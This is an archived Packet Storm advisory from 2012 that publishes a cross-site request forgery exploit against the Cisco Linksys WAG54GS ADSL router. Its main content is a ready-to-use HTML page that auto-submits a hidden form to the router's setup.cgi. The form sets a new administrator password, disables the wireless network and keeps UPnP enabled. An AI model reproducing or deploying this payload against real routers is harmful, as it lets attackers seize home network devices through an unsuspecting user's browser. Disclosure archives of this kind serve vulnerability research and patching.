ignore security and it'll go away

Cisco Linksys WAG54GS Cross Site Request Forgery

Cisco Linksys WAG54GS Cross Site Request Forgery
Posted Feb 22, 2012
Authored by Ivano Binetti

The Cisco Linksys WAG54GS ADSL router suffers from a cross site request forgery vulnerability.

tags | exploit, csrf
systems | cisco
MD5 | 09281365d9ad97398e761ef6ef5a3f31

Cisco Linksys WAG54GS Cross Site Request Forgery

Change Mirror Download
+--------------------------------------------------------------------------------------------------------------------------------+
# Exploit Title : Cisco Linksys WAG54GS (ADSL Router) change admin password
# Date : 20-02-2012
# Author : Ivano Binetti (http://ivanobinetti.com)
# Vendor site : http://www.linksysbycisco.com
# Version : WAG54GS
# Tested on : Firmware Version: V1.01.03
+--------------------------------------------------------------------------------------------------------------------------------+
+------------------------------------------[Change Admin Account Password by Ivano Binetti]--------------------------------------+
Summary

1)Introduction
2)Vulnerability Description
3)Exploit

+---------------------------------------------------------------------------------------------------------------------------------+


1)Introduction
Cisco Linksys WAG54GS is an ADSL Router which uses a web management interface -listening to default on tcp/ip port 80 - and "admin"
as default administrator. His default ip address is 192.168.1.1


2)Vulnerability Description
The web interface of this router is prone to CSRF vulnerabilities which allows to change router parameters and - among other things -
to change default administrator ("admin") password.

3)Exploit
<html>
<body onload="javascript:document.forms[0].submit()">
<H2>CSRF Exploit to change admin password</H2>
<form method="POST" name="form0" action="http://192.168.1.1:80/setup.cgi">
<input type="hidden" name="user_list" value="1"/>
<input type="hidden" name="sysname" value="admin"/>
<input type="hidden" name="sysPasswd" value="new_password"/>
<input type="hidden" name="sysConfirmPasswd" value="new_password"/>
<input type="hidden" name="remote_management" value="disable"/>
<input type="hidden" name="devname" value=""/>
<input type="hidden" name="snmp_enable" value="disable"/>
<input type="hidden" name="upnp_enable" value="enable"/>
<input type="hidden" name="wlan_enable" value="disable"/>
<input type="hidden" name="save" value="Save+Settings"/>
<input type="hidden" name="h_user_list" value="1"/>
<input type="hidden" name="h_pwset" value="yes"/>
<input type="hidden" name="sysname_changed" value="no"/>
<input type="hidden" name="pwchanged" value="yes"/>
<input type="hidden" name="pass_is_default" value="false"/>
<input type="hidden" name="pass_is_none" value="no"/>
<input type="hidden" name="h_remote_management" value="disable"/>
<input type="hidden" name="c4_trap_ip_" value=""/>
<input type="hidden" name="h_snmp_enable" value="disable"/>
<input type="hidden" name="h_upnp_enable" value="enable"/>
<input type="hidden" name="h_wlan_enable" value="disable"/>
<input type="hidden" name="todo" value="save"/>
<input type="hidden" name="this_file" value="Administration.htm"/>
<input type="hidden" name="next_file" value="Administration.htm"/>
<input type="hidden" name="message" value=""/>
</form>
</body>
</html>


+----------------------------------------------------------------------------------------------------------------------------------+

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close